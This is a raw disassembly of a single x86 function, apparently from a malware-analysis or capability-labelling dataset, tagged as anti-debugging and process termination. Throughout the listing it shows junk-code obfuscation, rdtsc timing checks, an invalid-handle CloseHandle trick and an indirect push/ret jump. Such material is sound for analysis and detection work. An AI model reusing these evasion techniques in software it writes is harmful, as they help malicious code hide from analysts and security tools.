Function at 0x403c39
Capabilities:
Execute anti-debugging instructions
Terminate process

Disassembly:
inc edx
stosb byte es:[edi], al
in eax, dx
pop eax
stosb byte es:[edi], al
mov dl, 0x2c
mov edi, 0x74abe58
cmp bl, byte [eax + 0xfde92bf]
sbb dword es:[ebp - 0x75], edx
push ebp
mov ebp, esp
sub esp, 0x5c8
push ebx
push esi
push edi
push 0xe
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx eax, ax
cmp eax, 0xe
je 0x403c72
push 1
call dword [sym.imp.msvcrt.dll_exit]
mov dword [ebp - 8], 0x169a62e6
or dword [ebp - 0x138], 0xffffffff
xor eax, dword [ebp - 0x138]
mov dword [ebp - 0x14], eax
not dword [ebp - 0x14]
not eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xffffffff
jne 0x403ce4
push 0xf0
push 0xdc
push 0x50
push 0xcd
push 0xd9
push 0x66
push 0x3c
pop eax
call fcn.00403a36
add esp, 0x18
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.WINSPOOL.DRV_ClosePrinter]
push 0
push 0
push 0
call dword [sym.imp.WINMM.dll_PlaySoundA]
push 0xc
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x10], 0
push ecx
fldz
fstp dword [esp]
push ecx
fldz
fstp dword [esp]
push 0x7fda965a
push 0x7fda965a
push 0x7fda965a
push 0
call dword [sym.imp.GDI32.dll_AngleArc]
and eax, 0x3c7a9cb6
add eax, 3
mov dword [ebp - 0x184], eax
push 0x48
pop eax
sub eax, dword [ebp - 0x184]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
xor eax, 0x1532
mov dword [ebp - 0x19c], eax
mov eax, 0xed
xor eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a8], eax
push 0x5f
pop eax
xor eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x180], eax
push 0
push 0x5b208ac9
push 0x5b208ac9
push 0
call dword [sym.imp.GDI32.dll_AnimatePalette]
and eax, 0x9e7
mov ecx, dword [ebp - 0x180]
or ecx, 0xcb196033
xor edx, edx
div ecx
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
xor edx, edx
mov ecx, 0x9a30d27d
div ecx
mov dword [ebp - 0x198], edx
mov ecx, 0xd1
or ecx, 0x7aaf7937
mov eax, dword [ebp - 0x198]
xor edx, edx
div ecx
mov dword [ebp - 0x1a4], edx
mov ecx, dword [ebp - 0x1a4]
or ecx, 0xa7bf681b
push 0x44
pop eax
xor edx, edx
div ecx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
imul eax, eax, 0x5a2b
mov dword [ebp - 0x18c], eax
push 0x13
pop ecx
or ecx, 0x89831951
mov eax, dword [ebp - 0x18c]
xor edx, edx
div ecx
mov dword [ebp - 0x1a0], edx
mov eax, 0x44bc
sub eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0xe6
push 0x11
push 0xdb
push 0xfe
push dword [ebp - 0x14]
push 0x43
pop ecx
mov eax, 0x88
push 0x39
pop edx
call fcn.00403a95
add esp, 0x14
mov dword [ebp - 0x14], eax
push 0x58
call dword [sym.imp.USER32.dll_CharLowerA]
cmp eax, 0x78
jne 0x404585
and dword [ebp - 0x1ac], 0
push 0xbb
push 0x1d
push 0xf7
push 0xf3
push 0x2e
pop eax
mov ecx, 0xf3
push 0x68
pop edx
jmp section..htext
push 0x3c
pop eax
call fcn.00403b0a
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x130], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4277cc
push 0x80000004
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 6
je 0x4045e1
push 0x47
push 0x3d
push 0x90
mov eax, dword [ebp - 0x130]
call fcn.00403b10
add esp, 0xc
mov dword [ebp - 0x14], eax
jmp fcn.00404b50
and dword [ebp - 0x404], 0
push 0xbb
push 0x1d
push 0xf7
push 0xf3
push 0x2e
pop eax
mov ecx, 0xf3
push 0x68
pop edx
call fcn.00403b61
add esp, 0x10
mov dword [0x428ed0], eax
push edx
pop dword [ebp - 0x514]
xor eax, eax
add eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x428ecc], eax
mov dword [ebp - 0x528], 0xf929373
mov dword [ebp - 0x518], 0xee9a635b
mov dword [ebp - 0x52c], 0xee9a635b
mov dword [ebp - 0x534], 0x6b5b81f9
mov dword [ebp - 0x524], 0x94a47e06
mov dword [ebp - 0x520], 0xc3699290
mov dword [ebp - 0x530], 0xb7ccf653
mov dword [ebp - 0x51c], 0xb7ccf653
mov eax, dword [ebp - 0x528]
xor eax, dword [0x428e98]
or eax, dword [ebp - 0x510]
xor edx, edx
xor edx, 0x4881acb2
mov ecx, dword [ebp - 0x518]
xor ecx, dword [ebp - 0x52c]
xor ecx, eax
xor edx, edx
not edx
and edx, 0x6c4d9cbb
rdtsc
or eax, dword [0x428ec0]
mov dword [ebp - 0x510], eax
mov edx, dword [ebp - 0x534]
or edx, dword [ebp - 0x524]
and edx, 0x2f1f4786
mov eax, dword [0x428e9c]
xor eax, dword [ebp - 0x520]
and eax, ecx
mov edx, dword [ebp - 0x530]
xor edx, dword [ebp - 0x51c]
xor edx, 0xa6becaca
and dword [ebp - 0x5b8], 0
jmp 0x4046fc
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 1
jge 0x40470d
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
jmp 0x4046ef
mov dword [ebp - 0x550], 0xd2b3c785
mov dword [ebp - 0x540], 0x69df44d
mov dword [ebp - 0x53c], 0x69df44d
mov dword [ebp - 0x544], 0x6c9ac361
mov dword [ebp - 0x54c], 0x93653c9e
mov dword [ebp - 0x538], 0xc4cf2d19
mov dword [ebp - 0x548], 0xc4cf2d19
xor eax, eax
not eax
xor eax, dword [ebp - 0x408]
not eax
mov edx, dword [ebp - 0x550]
or edx, dword [0x428ea0]
and edx, 0x973172b8
mov ecx, dword [ebp - 0x540]
sub ecx, dword [ebp - 0x53c]
or ecx, eax
lea ecx, [ecx]
mov edx, 0x8b05e2d
push cx
pop cx
rdtsc
mov edx, dword [ebp - 0x544]
xor edx, dword [ebp - 0x54c]
xor edx, 0x55b0f098
not edx
mov dword [ebp - 0x408], eax
mov edx, 0x5c3125aa
mov eax, dword [ebp - 0x538]
xor eax, dword [ebp - 0x548]
add eax, ecx
mov edx, 0x43013bc0
and dword [ebp - 0x5bc], 0
jmp 0x4047d4
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 1
jge 0x4047ef
push di
pop di
mov eax, dword [0x428ecc]
mov cx, cx
push 0
call eax
jmp 0x4047c7
mov dword [ebp - 0x564], 0x858c27e5
mov dword [ebp - 0x568], 0x7a73d81a
mov dword [ebp - 0x578], 0xc75ddbe0
or dword [ebp - 0x560], 0xffffffff
mov dword [ebp - 0x55c], 0xb5063a26
mov dword [ebp - 0x56c], 0xb5063a26
mov dword [ebp - 0x570], 0x9c0a28ea
mov dword [ebp - 0x554], 0x9c0a28ea
mov dword [ebp - 0x558], 0x95b4ec34
mov dword [ebp - 0x57c], 0x95b4ec34
xor eax, eax
dec eax
and eax, dword [ebp - 0x40c]
xor edx, edx
sub edx, 1
and edx, 0xc02becfc
mov ecx, dword [ebp - 0x564]
xor ecx, dword [ebp - 0x568]
xor ecx, eax
not ecx
mov edx, dword [ebp - 0x578]
xor edx, dword [0x428ea4]
xor edx, 0x1b5a348d
not edx
rdtsc
push eax
pop dword [ebp - 0x574]
and eax, dword [ebp - 0x560]
mov dword [ebp - 0x40c], eax
mov edx, dword [ebp - 0x55c]
sub edx, dword [ebp - 0x56c]
add edx, 0x8e3dcd4a
mov eax, dword [ebp - 0x570]
xor eax, dword [ebp - 0x554]
xor eax, ecx
mov edx, dword [ebp - 0x558]
sub edx, dword [ebp - 0x57c]
add edx, 0x3b9d074c
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x13
jl 0x4049fd
mov dword [ebp - 0x584], 0xbaf43812
mov dword [ebp - 0x5b4], 0xdf834a29
mov dword [ebp - 0x59c], 0xdf834a29
mov dword [ebp - 0x5a4], 0x2121f270
mov dword [ebp - 0x594], 0xe7c8898b
mov dword [ebp - 0x5a8], 0x18377674
mov dword [ebp - 0x5ac], 0xe9376a35
mov dword [ebp - 0x5a0], 0x16c895ca
mov dword [ebp - 0x590], 0x422b3f2c
mov dword [ebp - 0x5b0], 0xbdd4c0d3
mov dword [ebp - 0x58c], 0xff431bb8
mov dword [ebp - 0x588], 0xff431bb8
mov edx, dword [0x428ea8]
xor edx, dword [ebp - 0x584]
add edx, 0x77caa588
mov edx, dword [ebp - 0x5b4]
sub edx, dword [ebp - 0x59c]
or edx, 0xd73b4a55
push dword [ebp - 0x5a4]
pop dword [0x428ec8]
mov edx, dword [ebp - 0x594]
xor edx, dword [ebp - 0x5a8]
and edx, 0xa4d57834
push ecx
pop dword [ebp - 0x598]
mov edx, dword [ebp - 0x5ac]
xor edx, dword [ebp - 0x5a0]
xor edx, 0x770eab5c
not edx
mov cx, cx
mov edx, 0x38773887
lea esp, [esp]
mov edx, dword [ebp - 0x590]
xor edx, dword [ebp - 0x5b0]
and edx, 0xeb64cd62
push eax
pop dword [ebp - 0x580]
mov edx, dword [ebp - 0x58c]
sub edx, dword [ebp - 0x588]
add edx, 0xbea6a5cf
and dword [ebp - 0x5c0], 0
jmp 0x404a2c
mov eax, dword [ebp - 0x40c]
sub eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x408]
sub ecx, dword [ebp - 0x510]
xor edx, edx
div ecx
cmp eax, 3
jbe 0x404625
mov dword [ebp - 0x5c0], 1
cmp dword [ebp - 0x5c0], 0
je 0x404aee
mov dword [ebp - 0x144], 0x135eafa6
mov dword [ebp - 0x13c], 0x9ccac30e
mov dword [ebp - 0x140], 0xeab9376c
mov dword [ebp - 0x148], 0x7a17f650
mov bl, bl
mov eax, 0x77ccbf79
mov eax, 0
mov eax, 0xa605fa4b
xor ecx, ecx
add ecx, 0x412200
mov eax, dword [ebp - 0x144]
xor eax, dword [0x428e84]
and eax, 0x47439265
push ecx
push ebp
pop dword [ebp - 0x154]
xor eax, eax
xor eax, 0x6a670fad
push esp
pop dword [ebp - 0x14c]
mov ecx, 0x4033d0
mov eax, dword [0x428e88]
sub eax, dword [ebp - 0x13c]
add eax, 0x8a6b1b11
push dword [ebp - 0x140]
pop dword [ebp - 0x150]
push 0x404adc
push ecx
mov esi, esi
ret
mov eax, dword [ebp - 0x14]
or eax, 0x2f
mov dword [ebp - 0x5c4], eax
mov ecx, dword [ebp - 0x5c4]
or ecx, 0x79d067e9
mov eax, 0x404ca4
xor edx, edx
div ecx
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
pop edi
pop esi
pop ebx
leave
ret 0x10